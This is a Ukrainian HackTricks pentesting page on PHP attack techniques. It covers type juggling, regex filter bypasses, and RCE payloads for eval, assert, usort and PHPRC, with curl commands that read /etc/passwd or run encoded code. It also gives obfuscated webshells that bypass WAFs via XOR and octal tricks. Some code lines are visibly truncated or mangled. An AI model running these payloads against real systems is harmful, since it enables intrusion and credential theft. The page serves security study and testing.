PHP Tricks

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Загальне розташування кукісів:

Це також стосується кукісів phpMyAdmin.

Кукіси:

PHPSESSID
phpMyAdmin

Місця:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Обхід порівнянь в PHP

Легкі порівняння/Типове джерело ( == )

Якщо використовується == в PHP, то існують неочікувані випадки, коли порівняння не працює як очікувалося. Це тому, що "==" порівнює лише значення, перетворені у той самий тип, якщо ви також хочете порівняти тип порівнюваних даних, вам потрібно використовувати ===.

Таблиці порівнянь PHP: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True Рядок, який не починається з числа, дорівнює числу

  • "0xAAAA" == "43690" -> True Рядки, складені з чисел у десятковому або шістнадцятковому форматі, можуть бути порівняні з іншими числами/рядками з результатом True, якщо числа були однакові (числа в рядку інтерпретуються як числа)

  • "0e3264578" == 0 --> True Рядок, що починається з "0e" і за яким слідує будь-що, буде дорівнювати 0

  • "0X3264578" == 0X --> True Рядок, що починається з "0" і за яким слідує будь-яка літера (X може бути будь-якою літерою) і за яким слідує будь-що, буде дорівнювати 0

  • "0e12334" == "0" --> True Це дуже цікаво, оскільки у деяких випадках ви можете контролювати введення рядка "0" та деякий вміст, який хешується і порівнюється з ним. Тому, якщо ви можете надати значення, яке створить хеш, що починається з "0e" і без будь-якої літери, ви можете обійти порівняння. Ви можете знайти вже захешовані рядки з цим форматом тут: https://github.com/spaze/hashes

  • "X" == 0 --> True Будь-яка літера в рядку дорівнює цілому числу 0

Додаткова інформація за посиланням https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Типове джерело також впливає на функцію in_array() за замовчуванням (вам потрібно встановити true для третього аргументу, щоб зробити строге порівняння):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Якщо ця функція використовується для будь-якої перевірки автентифікації (наприклад, перевірка пароля) і користувач контролює один бік порівняння, він може відправити порожній масив замість рядка як значення пароля (https://example.com/login.php/?username=admin&password[]=) і обійти цю перевірку:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Та ж помилка виникає з strcasecmp()

Суворе приведення типів

Навіть якщо використовується ===, можуть виникати помилки, які роблять порівняння вразливим до суворого приведення типів. Наприклад, якщо порівняння перетворює дані в інший тип об'єкта перед порівнянням:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() може бути використано для перевірки введення користувача (він перевіряє, чи є слово/регулярний вираз з чорного списку присутнім у введенні користувача, і якщо його немає, код може продовжити виконання).

Обхід нового рядка

Однак, коли визначається початок регулярного виразу, preg_match() перевіряє лише перший рядок введення користувача, тому якщо ви якимось чином можете надіслати введення у кількох рядках, ви зможете обійти цю перевірку. Приклад:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Для обходу цієї перевірки ви можете надіслати значення з новими рядками, закодованими у URL (%0A) або, якщо ви можете надіслати JSON дані, надішліть їх у декількох рядках:

{
"cmd": "cat /etc/passwd"
}

Знайдіть приклад тут: https://ramadistra.dev/fbctf-2019-rceservice

Обхід помилки довжини

(Цей обхід, схоже, був спробований на PHP 5.2.5, і я не зміг зробити його працюючим на PHP 7.3.15) Якщо ви можете передати preg_match() дійсний великий ввід, він не зможе обробити його, і ви зможете обійти перевірку. Наприклад, якщо він блокує JSON, ви можете відправити:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

Прохід ReDoS

Хитрість з: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223

Коротко кажучи, проблема виникає через те, що функції preg_* в PHP базуються на бібліотеці PCRE. У PCRE деякі регулярні вирази збігаються за допомогою багатьох рекурсивних викликів, які використовують багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження за замовчуванням становить 100 000, що більше, ніж вміщується в стеку.

У цьому обговоренні на Stackoverflow також було посилання на те, де більш детально говориться про цю проблему. Наше завдання було тепер зрозумілим: Надіслати вхідні дані, які змусили б регулярний вираз виконати 100 000+ рекурсій, спричиняючи SIGSEGV, що змусить функцію preg_match() повернути false, тим самим змушуючи додаток вважати, що наш ввід не є зловмисним, кинувши сюрприз в кінці навантаження щось на зразок {system(<дужепоганакоманда>)} для отримання SSTI --> RCE --> прапорця :).

Ну, в термінах регулярних виразів, ми фактично не робимо 100 тис. "рекурсій", а замість цього ми рахуємо "кроки відстеження назад", як це стверджує документація PHP, за замовчуванням це становить 1 000 000 (1М) у змінній pcre.backtrack_limit. Щоб досягти цього, 'X'*500_001 призведе до 1 мільйона кроків відстеження назад (500 тис. вперед і 500 тис. назад):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Типове заміни для захисту PHP коду

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Виконання після перенаправлення (EAR)

Якщо PHP перенаправляє на іншу сторінку, але після встановлення заголовка Location не викликається функція die або exit, PHP продовжує виконання та додає дані до тіла сторінки:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Експлуатація траверсу шляху та включення файлів

Перевірте:

pageFile Inclusion/Path traversal

Додаткові хитрощі

  • register_globals: У PHP < 4.1.1.1 або якщо неправильно сконфігуровано, register_globals може бути активований (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $_GET, якщо вони мають значення, наприклад $_GET["param"]="1234", ви можете отримати доступ до нього через $param. Таким чином, надсилаючи HTTP-параметри, ви можете перезаписати змінні, які використовуються в коді.

  • PHPSESSION cookies тієї ж домену зберігаються в одному місці, тому якщо в межах домену використовуються різні cookies в різних шляхах, ви можете зробити так, щоб шлях отримував доступ до cookie шляху, встановлюючи значення cookie іншого шляху. Таким чином, якщо обидва шляхи отримують доступ до змінної з однаковою назвою, ви можете зробити так, щоб значення цієї змінної в path1 застосовувалося до path2. А потім path2 буде вважати дійсними змінні path1 (давши cookie назву, яка відповідає їй в path2).

  • Коли у вас є імена користувачів користувачів машини. Перевірте адресу: /~<USERNAME>, щоб переглянути, чи активовані каталоги php.

password_hash/password_verify

Ці функції зазвичай використовуються в PHP для генерації хешів від паролів та для перевірки, чи правильний пароль порівняно з хешем. Підтримувані алгоритми: PASSWORD_DEFAULT та PASSWORD_BCRYPT (починається з $2y$). Зверніть увагу, що PASSWORD_DEFAULT часто є таким самим, як PASSWORD_BCRYPT. І наразі PASSWORD_BCRYPT має обмеження розміру вводу 72 байти. Тому, коли ви намагаєтеся згештувати щось більше, ніж 72 байти з цим алгоритмом, буде використано лише перші 72 байти:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Обхід HTTP-заголовків за допомогою зловживання помилками PHP

Якщо сторінка PHP виводить помилки та повертає деякий ввід, наданий користувачем, користувач може змусити сервер PHP вивести деякий вміст достатньо довгий, щоб при спробі додати заголовки до відповіді сервер викинув помилку. У наступному сценарії зловмисник змусив сервер викинути деякі великі помилки, і, як видно на екрані, коли PHP спробував змінити інформацію заголовка, він не зміг (так, наприклад, заголовок CSP не був відправлений користувачеві):

Виконання коду

system("ls"); `ls`; shell_exec("ls");

Перевірте це для більш корисних функцій PHP

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Для виконання коду в аргументі "replace" потрібно щонайменше одне співпадіння. Ця опція preg_replace була застарілою починаючи з PHP 5.5.0.

RCE через Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE через Assert()

Ця функція в php дозволяє вам виконувати код, який написаний у вигляді рядка, щоб повернути true або false (і в залежності від цього змінити виконання). Зазвичай змінна користувача буде вставлена посередині рядка. Наприклад: assert("strpos($_GET['page']),'..') === false") --> У цьому випадку для отримання RCE ви могли б зробити:

?page=a','NeVeR') === false and system('ls') and strpos('a

Вам потрібно розібрати синтаксис коду, додати свій пейлоуд, а потім виправити його знову. Ви можете використовувати логічні операції такі як "and" або "%26%26" або "|". Зверніть увагу, що "or", "||" не працює, оскільки якщо перша умова є істинною, наш пейлоуд не буде виконаний. Так само ";" не працює, оскільки наш пейлоуд не буде виконаний.

Інша опція - додати до рядка виконання команди: '.highlight_file('.passwd').'

Інша опція (якщо у вас є внутрішній код) - змінити деяку змінну для зміни виконання: $file = "hola"

RCE через usort()

Ця функція використовується для сортування масиву елементів за допомогою конкретної функції. Для зловживання цією функцією:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Ви також можете використовувати // для коментування решти коду.

Щоб дізнатися кількість дужок, які вам потрібно закрити:

  • ?order=id;}//: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ';'). Ймовірно, нам не вистачає однієї або декількох дужок.

  • ?order=id);}//: ми отримуємо попередження. Схоже, що все вірно.

  • ?order=id));}//: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ')' i). Ймовірно, у нас занадто багато закриваючих дужок.

RCE через .httaccess

Якщо ви можете завантажити файл .htaccess, то ви можете налаштувати кілька речей і навіть виконати код (налаштовуючи файли з розширенням .htaccess можна виконувати).

Різні оболонки .htaccess можна знайти тут

RCE через змінні середовища

Якщо ви знайдете вразливість, яка дозволяє вам змінювати змінні середовища в PHP (і ще одну для завантаження файлів, хоча з додатковими дослідженнями, можливо, це можна обійти), ви можете скористатися цим для отримання RCE.

  • LD_PRELOAD: Ця змінна середовища дозволяє завантажувати довільні бібліотеки при виконанні інших виконуваних файлів (хоча в цьому випадку це може не працювати).

  • PHPRC : Вказує PHP, де знаходиться його файл конфігурації, зазвичай називається php.ini. Якщо ви можете завантажити власний файл конфігурації, тоді використовуйте PHPRC, щоб вказати PHP на нього. Додайте запис auto_prepend_file, вказавши другий завантажений файл. Цей другий файл містить звичайний PHP-код, який потім виконується виконавчим середовищем PHP перед будь-яким іншим кодом.

  1. Завантажте файл PHP, що містить наш код оболонки

  2. Завантажте другий файл, що містить директиву auto_prepend_file, яка вказує препроцесору PHP виконати файл, який ми завантажили на кроці 1

  3. Встановіть змінну PHPRC на файл, який ми завантажили на кроці 2.

  • Отримайте більше інформації про виконання цієї ланцюгової реакції з оригінального звіту.

  • PHPRC - ще один варіант

  • Якщо ви не можете завантажувати файли, ви можете використовувати в FreeBSD "файл" /dev/fd/0, який містить stdin, як тіло запиту, відправленого до stdin:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • Або для отримання RCE, увімкніть allow_url_include та додайте файл з кодом PHP у base64:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

  • Техніка з цього звіту.

Статичний аналіз PHP

Перегляньте, чи можете вставити код у виклики цих функцій (з тут):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Якщо ви відлажуєте додаток на PHP, ви можете глобально увімкнути виведення помилок в /etc/php5/apache2/php.ini, додавши display_errors = On, та перезапустити apache: sudo systemctl restart apache2

Розшифрування PHP-коду

Ви можете використовувати веб-сайт www.unphp.net для розшифрування php-коду.

Обгортки та протоколи PHP

Обгортки та протоколи PHP можуть дозволити вам обійти захист від запису та читання в системі та скомпрометувати її. Для додаткової інформації перевірте цю сторінку.

Xdebug неавтентифікований RCE

Якщо ви бачите, що Xdebug увімкнено у виведенні phpconfig(), вам слід спробувати отримати RCE через https://github.com/nqxcode/xdebug-exploit

Змінні змінні

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

Використання RCE через новий $_GET["a"]($_GET["b"])

Якщо на сторінці ви можете створити новий об'єкт будь-якого класу, ви, можливо, зможете отримати RCE, перевірте наступну сторінку, щоб дізнатися як:

pagePHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Виконання PHP без літер

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Використання вісімкової системи числення

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

XOR (ексклюзивне або) - це бінарний оператор, який повертає істину лише в тому випадку, коли операнди мають різні значення.

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR простий код оболонки

Згідно з цим описом, можливо згенерувати простий код оболонки таким чином:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Таким чином, якщо ви можете виконати довільний PHP без цифр та літер, ви можете надіслати запит на виконання довільного PHP, використовуючи такий витів, наприклад:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Для більш детального пояснення перевірте https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (всередині eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Подібно до Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated